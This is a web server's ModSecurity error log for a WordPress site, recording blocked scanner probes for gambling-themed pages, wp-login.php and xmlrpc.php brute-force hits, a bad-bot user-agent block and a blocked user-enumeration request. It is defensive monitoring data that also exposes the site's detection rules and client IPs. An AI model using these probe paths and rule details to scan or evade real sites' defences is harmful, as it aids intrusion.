[Thu Feb 19 06:48:49.848048 2026] [:error] [pid 48902:tid 48952] [client 62.84.185.52:60692] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZZB0WcJ-6aYRpRRFsVXWgAAAE4"]
[Thu Feb 19 06:48:52.433460 2026] [:error] [pid 15513:tid 15533] [client 62.84.185.52:60698] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZZB1MGTRTE022JWg1-0KQAAARI"]
[Thu Feb 19 06:48:55.026239 2026] [:error] [pid 48902:tid 48953] [client 62.84.185.52:60700] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZZB12cJ-6aYRpRRFsVXZQAAAE8"]
[Thu Feb 19 06:48:57.638920 2026] [:error] [pid 48903:tid 48974] [client 62.84.185.52:51954] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZZB2Y6aTgKrpAR115sZzgAAAIk"]
[Thu Feb 19 06:49:40.413877 2026] [:error] [pid 48901:tid 48932] [client 62.84.185.52:13572] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZZCBMixYz-lHbN0WBLVCgAAABY"]
[Thu Feb 19 06:49:43.031095 2026] [:error] [pid 24048:tid 24064] [client 62.84.185.52:13590] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZZCB2ug6wHHqU0QyDbkQgAAAU4"]
[Thu Feb 19 06:49:45.612560 2026] [:error] [pid 24048:tid 24063] [client 62.84.185.52:13608] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZZCCWug6wHHqU0QyDbkRwAAAU0"]
[Thu Feb 19 06:49:48.222865 2026] [:error] [pid 48902:tid 48949] [client 62.84.185.52:24982] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZZCDGcJ-6aYRpRRFsVXxAAAAEs"]
[Thu Feb 19 06:49:50.675751 2026] [:error] [pid 48903:tid 48972] [client 62.84.185.52:24984] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZZCDo6aTgKrpAR115saJwAAAIc"]
[Thu Feb 19 06:49:53.267996 2026] [:error] [pid 48903:tid 48980] [client 62.84.185.52:24992] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZZCEY6aTgKrpAR115saLQAAAI8"]
[Thu Feb 19 06:49:55.857211 2026] [:error] [pid 48903:tid 48981] [client 62.84.185.52:25006] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZZCE46aTgKrpAR115saMwAAAJA"]
[Thu Feb 19 06:49:58.431817 2026] [:error] [pid 48903:tid 48979] [client 62.84.185.52:12184] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZZCFo6aTgKrpAR115saNgAAAI4"]
[Thu Feb 19 06:50:00.911902 2026] [:error] [pid 49002:tid 49022] [client 62.84.185.52:12210] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aZZCGFfcBtQ6hSJuEQmdJgAAAMg"]
[Thu Feb 19 06:50:03.596925 2026] [:error] [pid 48902:tid 48957] [client 62.84.185.52:12224] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZZCG2cJ-6aYRpRRFsVX0AAAAFM"]
[Thu Feb 19 06:50:06.292095 2026] [:error] [pid 24048:tid 24068] [client 62.84.185.52:12238] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aZZCHmug6wHHqU0QyDbkcwAAAVI"]
[Thu Feb 19 06:50:08.794698 2026] [:error] [pid 49002:tid 49038] [client 62.84.185.52:39002] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZZCIFfcBtQ6hSJuEQmdLQAAANg"]
[Thu Feb 19 06:50:11.350144 2026] [:error] [pid 49002:tid 49015] [client 62.84.185.52:39008] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aZZCI1fcBtQ6hSJuEQmdLwAAAME"]
[Thu Feb 19 06:50:13.948234 2026] [:error] [pid 49002:tid 49027] [client 62.84.185.52:39010] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aZZCJVfcBtQ6hSJuEQmdNAAAAM0"]
[Thu Feb 19 06:50:16.527828 2026] [:error] [pid 48903:tid 48982] [client 62.84.185.52:39020] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aZZCKI6aTgKrpAR115saQgAAAJE"]
[Thu Feb 19 06:50:19.111665 2026] [:error] [pid 49002:tid 49019] [client 62.84.185.52:46278] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZZCK1fcBtQ6hSJuEQmdQAAAAMU"]
[Thu Feb 19 06:50:21.742440 2026] [:error] [pid 15513:tid 15522] [client 62.84.185.52:46284] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZZCLcGTRTE022JWg1-0yQAAAQc"]
[Thu Feb 19 06:50:24.270119 2026] [:error] [pid 15513:tid 15538] [client 62.84.185.52:46288] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZZCMMGTRTE022JWg1-0zAAAARc"]
[Thu Feb 19 07:07:03.994996 2026] [:error] [pid 24048:tid 24059] [client 41.203.16.248:47136] [client 41.203.16.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.203.16.248, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZZGF2ug6wHHqU0QyDbsVQAAAUk"]
[Thu Feb 19 07:24:50.772564 2026] [:error] [pid 48901:tid 48921] [client 211.21.61.225:48932] [client 211.21.61.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.225, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZZKQsixYz-lHbN0WBLgpwAAAAs"]
[Thu Feb 19 07:37:23.021299 2026] [:error] [pid 49002:tid 49034] [client 107.180.241.110:57184] [client 107.180.241.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.180.241.110, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZZNM1fcBtQ6hSJuEQmvIAAAANQ"]
[Thu Feb 19 07:49:08.140741 2026] [:error] [pid 24048:tid 24061] [client 74.7.227.183:42370] [client 74.7.227.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.227.183, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZZP9Gug6wHHqU0QyDYCMgAAAUs"], referer: https://vetstars.com.au/
[Thu Feb 19 08:01:26.285282 2026] [:error] [pid 49002:tid 49036] [client 137.74.192.205:35458] [client 137.74.192.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.74.192.205, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZZS1lfcBtQ6hSJuEQm4BwAAANY"]
[Thu Feb 19 08:38:08.003215 2026] [:error] [pid 48901:tid 48910] [client 104.28.160.78:45832] [client 104.28.160.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aZZbcMixYz-lHbN0WBL3kQAAAAA"]
[Thu Feb 19 08:39:53.941222 2026] [:error] [pid 24048:tid 24064] [client 138.122.43.166:59352] [client 138.122.43.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.122.43.166, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZZb2Wug6wHHqU0QyDYcPgAAAU4"]
[Thu Feb 19 09:01:54.653849 2026] [:error] [pid 24048:tid 24073] [client 116.72.181.115:23250] [client 116.72.181.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.72.181.115, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZZhAmug6wHHqU0QyDYo2wAAAVc"]
[Thu Feb 19 09:54:26.884887 2026] [:error] [pid 48902:tid 48945] [client 152.42.226.162:32930] [client 152.42.226.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.226.162, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZZtUmcJ-6aYRpRRFsWUjAAAAEc"]
[Thu Feb 19 10:01:25.332113 2026] [:error] [pid 24048:tid 24062] [client 170.106.15.3:48174] [client 170.106.15.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZZu9Wug6wHHqU0QyDZIqAAAAUw"]
[Thu Feb 19 11:23:41.500903 2026] [:error] [pid 48903:tid 48974] [client 147.182.243.3:36656] [client 147.182.243.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.182.243.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZaCPY6aTgKrpAR115t1OQAAAIk"]
[Thu Feb 19 11:40:41.242987 2026] [:error] [pid 49002:tid 49033] [client 91.134.134.156:46218] [client 91.134.134.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.134.134.156, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZaGOVfcBtQ6hSJuEQkEDAAAANM"]
[Thu Feb 19 12:15:26.018457 2026] [:error] [pid 48901:tid 48929] [client 103.27.206.168:41762] [client 103.27.206.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.27.206.168, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZaOXsixYz-lHbN0WBI58AAAABM"]
[Thu Feb 19 12:43:40.244266 2026] [proxy_fcgi:error] [pid 15513:tid 15516] [client 120.154.69.32:50698] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1771476220.0405340194702148437500', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option'
[Thu Feb 19 16:13:41.375799 2026] [:error] [pid 48901:tid 48913] [client 92.63.174.165:60742] [client 92.63.174.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.63.174.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZbGNcixYz-lHbN0WBJ97QAAAAM"]
[Thu Feb 19 16:45:56.884348 2026] [:error] [pid 5581:tid 5611] [client 146.148.86.144:57936] [client 146.148.86.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.148.86.144, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZbNxHIfW0xlXmrVd3qgjwAAAgA"]
[Thu Feb 19 16:45:59.854491 2026] [:error] [pid 5581:tid 5618] [client 146.148.86.144:57936] [client 146.148.86.144] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZbNx3IfW0xlXmrVd3qglAAAAgc"]
[Thu Feb 19 16:46:02.316253 2026] [:error] [pid 5581:tid 5625] [client 146.148.86.144:57936] [client 146.148.86.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.148.86.144, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZbNynIfW0xlXmrVd3qglgAAAg4"]
[Thu Feb 19 16:48:54.518887 2026] [:error] [pid 5548:tid 5557] [client 34.45.209.55:57913] [client 34.45.209.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.45.209.55, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZbOdpMpsAkdKxbTbsOVIgAAAYY"]
[Thu Feb 19 16:48:57.448799 2026] [:error] [pid 5548:tid 5561] [client 34.45.209.55:57913] [client 34.45.209.55] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZbOeZMpsAkdKxbTbsOVJQAAAYo"]
[Thu Feb 19 16:48:59.903038 2026] [:error] [pid 5548:tid 5567] [client 34.45.209.55:57913] [client 34.45.209.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.45.209.55, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZbOe5MpsAkdKxbTbsOVKgAAAZA"]
[Thu Feb 19 17:15:01.068737 2026] [:error] [pid 5548:tid 5569] [client 209.42.22.188:46816] [client 209.42.22.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.42.22.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZbUlZMpsAkdKxbTbsOZUwAAAZI"]
[Thu Feb 19 18:14:00.766006 2026] [:error] [pid 5580:tid 5597] [client 137.184.225.216:56254] [client 137.184.225.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.225.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZbiaIV24kZpmf6nh3Dp3QAAAc0"]
[Thu Feb 19 18:16:09.319523 2026] [:error] [pid 49002:tid 49015] [client 65.38.25.38:41214] [client 65.38.25.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.38.25.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZbi6VfcBtQ6hSJuEQlO_QAAAME"]
[Thu Feb 19 18:44:33.745167 2026] [:error] [pid 5581:tid 5615] [client 172.238.64.140:48494] [client 172.238.64.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.238.64.140, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZbpkXIfW0xlXmrVd3q5SAAAAgQ"]
[Thu Feb 19 20:36:33.706824 2026] [:error] [pid 48902:tid 48943] [client 167.172.153.2:51840] [client 167.172.153.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.153.2, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZcD0WcJ-6aYRpRRFsUvSAAAAEU"]
[Thu Feb 19 20:52:07.423669 2026] [:error] [pid 5580:tid 5600] [client 54.37.252.118:49662] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZcHd4V24kZpmf6nh3AJBAAAAdA"]
[Thu Feb 19 20:52:07.623397 2026] [:error] [pid 15513:tid 15537] [client 54.37.252.118:33082] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "aZcHd8GTRTE022JWg1_tXgAAARY"]
[Thu Feb 19 20:52:09.923828 2026] [:error] [pid 48901:tid 48910] [client 54.37.252.118:52300] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZcHecixYz-lHbN0WBLJxQAAAAA"]
[Thu Feb 19 20:52:10.598845 2026] [:error] [pid 5581:tid 5613] [client 54.37.252.118:52304] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZcHenIfW0xlXmrVd3rRbwAAAgI"]
[Thu Feb 19 20:52:12.415759 2026] [:error] [pid 15513:tid 15519] [client 54.37.252.118:52312] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZcHfMGTRTE022JWg1_tdwAAAQQ"]
[Thu Feb 19 20:52:13.697849 2026] [:error] [pid 48901:tid 48928] [client 54.37.252.118:52320] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZcHfcixYz-lHbN0WBLJxwAAABI"]
[Thu Feb 19 20:52:14.806758 2026] [:error] [pid 5580:tid 5608] [client 54.37.252.118:41644] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZcHfoV24kZpmf6nh3AJDAAAAdg"]
